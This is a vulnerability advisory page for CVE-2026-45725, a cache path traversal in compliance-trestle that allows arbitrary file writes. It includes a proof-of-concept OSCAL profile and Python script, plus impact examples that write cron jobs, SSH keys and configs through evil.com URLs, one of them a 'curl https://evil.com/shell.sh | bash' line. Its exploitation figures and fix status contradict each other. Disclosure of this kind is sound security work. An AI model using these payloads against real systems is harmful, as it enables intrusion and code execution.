CVE-2026-45725

HIGHPre-NVD 0.0
0.0
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • No confirmed exploitation signals yet
CISA-KEV: Not listedEPSS: 0%CVSS: Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

compliance-trestle Remote Fetching Mechanism has an Arbitrary File Write via Cache Path Traversal

Summary

The compliance-trestle library's remote fetching cache mechanism (HTTPSFetcher and SFTPFetcher) constructs the local cache file path from the URL path component without sanitizing path traversal sequences (../). When a remote OSCAL profile references a URL with traversal in its path, the HTTP response body is written to a location outside the intended cache directory, enabling arbitrary file write with attacker-controlled content to the filesystem.

Attack chain: Malicious OSCAL profile → HTTPS fetch → cache path traversal → arbitrary file write → RCE (via cron, SSH keys, etc.)

Affected Component

Repository: https://github.com/IBM/compliance-trestle File: trestle/core/remote/cache.py (lines 259-266 for HTTPSFetcher, lines 328-333 for SFTPFetcher) Version: v4.0.2 (latest as of 2026-04-30)

Vulnerable Code

cache.py:259-266 — HTTPSFetcher cache path construction

class HTTPSFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        # ...
        u = parse.urlparse(self._uri)
        # ...
        if u.hostname is None:
            raise TrestleError(f'Cache request for {self._uri} requires hostname')
        https_cached_dir = self._trestle_cache_path / u.hostname
        # ❌ path_parent preserves ../ sequences from URL
        path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent
        https_cached_dir = https_cached_dir / path_parent
        https_cached_dir.mkdir(parents=True, exist_ok=True)  # ❌ Creates dirs outside cache
        self._cached_object_path = https_cached_dir / pathlib.Path(pathlib.Path(u.path).name)

cache.py:285-295 — Content written to traversed path

def _do_fetch(self) -> None:
        # ...
        response = requests.get(self._url, auth=auth, verify=verify, timeout=30)
        if response.status_code == 200:
            result = response.text  # ❌ Attacker-controlled content
            self._cached_object_path.write_text(result)  # ❌ Written to arbitrary path

cache.py:328-333 — SFTPFetcher (identical pattern)

class SFTPFetcher(FetcherBase):
    def __init__(self, ...):
        # Identical path construction — same vulnerability
        sftp_cached_dir = self._trestle_cache_path / u.hostname
        path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent
        sftp_cached_dir = sftp_cached_dir / path_parent
        sftp_cached_dir.mkdir(parents=True, exist_ok=True)
        self._cached_object_path = sftp_cached_dir / pathlib.Path(pathlib.Path(u.path).name)

Root Cause:

  • urlparse("https://evil.com/../../../tmp/pwned.json").path = /../../../tmp/pwned.json — preserves ../
  • pathlib.Path(u.path).parent preserves traversal sequences
  • cache_dir / hostname / "../../../../../../tmp" resolves outside cache
  • mkdir(parents=True, exist_ok=True) creates intermediate directories
  • write_text(response.text) writes attacker-controlled content to traversed path
  • No is_relative_to() boundary check on the resolved path

Steps to Reproduce

Prerequisites

pip install compliance-trestle==4.0.2

PoC: Malicious OSCAL Profile

# malicious_profile.yaml — arbitrary file write via cache traversal
profile:
  uuid: "550e8400-e29b-41d4-a716-446655440000"
  metadata:
    title: "Malicious Profile"
    version: "1.0"
    last-modified: "2024-01-01T00:00:00+00:00"
    oscal-version: "1.0.4"
  imports:
  • href: "https://evil.com/../../../../../../../tmp/trestle_pwned.json"

PoC: Cache Path Traversal Simulation

#!/usr/bin/env python3
"""PoC: Cache path traversal → arbitrary file write"""
import os, re, tempfile, shutil
from pathlib import Path
from urllib.parse import urlparse

Simulate trestle cache behavior (cache.py:259-266)

trestle_root = Path(tempfile.mkdtemp(prefix="trestle_poc_")) cache_dir = trestle_root / ".trestle" / ".cache" cache_dir.mkdir(parents=True, exist_ok=True)

evil_url = "https://evil.com/../../../../../../../tmp/trestle_pwned.json" u = urlparse(evil_url)

Exact trestle code path

cached_dir = cache_dir / u.hostname m = re.search(r'[^/\\\\]', u.path) path_parent = Path(u.path[m.span()[0]:]).parent cached_dir = cached_dir / path_parent cached_dir.mkdir(parents=True, exist_ok=True) cached_file = cached_dir / Path(Path(u.path).name)

print(f"Cache dir: {cache_dir}") print(f"Resolved write target: {cached_file.resolve()}")

Output: /tmp/trestle_pwned.json ← OUTSIDE cache directory!

Write attacker content

attacker_payload = '*/5 * * * * root /bin/bash -c "id > /tmp/rce_proof"' cached_file.write_text(attacker_payload) print(f"Written: {cached_file.resolve().read_text()}")

Cleanup

os.remove(str(cached_file.resolve())) shutil.rmtree(str(trestle_root))

Expected: Write confined to .trestle/.cache/ directory Actual: File written to /tmp/trestle_pwned.json (arbitrary filesystem location)

Remediation

Fix for HTTPSFetcher (cache.py:259-266):

class HTTPSFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        # ...
        u = parse.urlparse(self._uri)
        https_cached_dir = self._trestle_cache_path / u.hostname

# ✅ Sanitize path: remove traversal sequences safe_path = pathlib.PurePosixPath(u.path).parts safe_path = [p for p in safe_path if p != '..' and p != '/'] path_parent = pathlib.Path(*safe_path[:-1]) if len(safe_path) > 1 else pathlib.Path('.')

https_cached_dir = https_cached_dir / path_parent https_cached_dir.mkdir(parents=True, exist_ok=True) self._cached_object_path = https_cached_dir / safe_path[-1]

# ✅ Boundary check if not self._cached_object_path.resolve().is_relative_to(self._trestle_cache_path.resolve()): raise TrestleError( f"Cache path traversal blocked: URL '{uri}' resolves to " f"'{self._cached_object_path.resolve()}' outside cache directory" )

Same fix required for SFTPFetcher at lines 328-333.

References

  • CWE-22: https://cwe.mitre.org/data/definitions/22.html
  • CWE-73: https://cwe.mitre.org/data/definitions/73.html
  • compliance-trestle: https://github.com/IBM/compliance-trestle

Impact

1. Cron Job Injection → Remote Code Execution

# Profile that writes a cron job
imports:
  • href: "https://evil.com/../../../../../../../etc/cron.d/backdoor"

Attacker's server responds with:

* * * * * root /bin/bash -c 'curl https://evil.com/shell.sh | bash'

2. SSH Authorized Keys Injection

imports:
  • href: "https://evil.com/../../../../../../../root/.ssh/authorized_keys"

Attacker's server responds with their SSH public key.

3. Config File Overwrite

imports:
  • href: "https://evil.com/../../../../../../../etc/nginx/conf.d/evil.conf"

4. Python Path Hijacking

Write malicious .py file to a location on sys.path for code execution on next import.

CVSS v3
EG Score
0.0(none)
EG Risk
0
EG Risk 0/100

EG Risk is EchelonGraph's 0–100 priority score. It fuses intrinsic severity with real-world exploitation and automatability, so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. It is distinct from the 0–10 EG Score, which measures severity.

EPSS
15.1%
KEV
Not listed

Published

May 27, 2026

Last Modified

May 27, 2026

Vendor Advisories for CVE-2026-45725(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
PyPI(1)
PackageVulnerable rangeFixed inDependents
compliance-trestle0.0.2 ... 4.0.2 (100 versions)4.0.3

Data Freshness Timeline

(refreshed 1× in last 7d / 1× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-23 03:16 UTCEG score recompute
  2. 2026-06-14 23:18 UTCEPSS rescore
  3. 2026-06-13 23:00 UTCEPSS rescore
  4. 2026-06-12 23:12 UTCEPSS rescore
  5. 2026-05-27 23:03 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-45725?
CVE-2026-45725 is a high vulnerability published on May 27, 2026. compliance-trestle Remote Fetching Mechanism has an Arbitrary File Write via Cache Path Traversal Summary The compliance-trestle library's remote fetching cache mechanism (HTTPSFetcher and SFTPFetcher) constructs the local cache file path from the URL path component without sanitizing path…
When was CVE-2026-45725 disclosed?
CVE-2026-45725 was first published in the National Vulnerability Database on May 27, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-45725 actively exploited?
CVE-2026-45725 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 15.1% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
How do I remediate CVE-2026-45725?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-45725, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-45725

Explore →

Is Your Infrastructure Affected by CVE-2026-45725?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.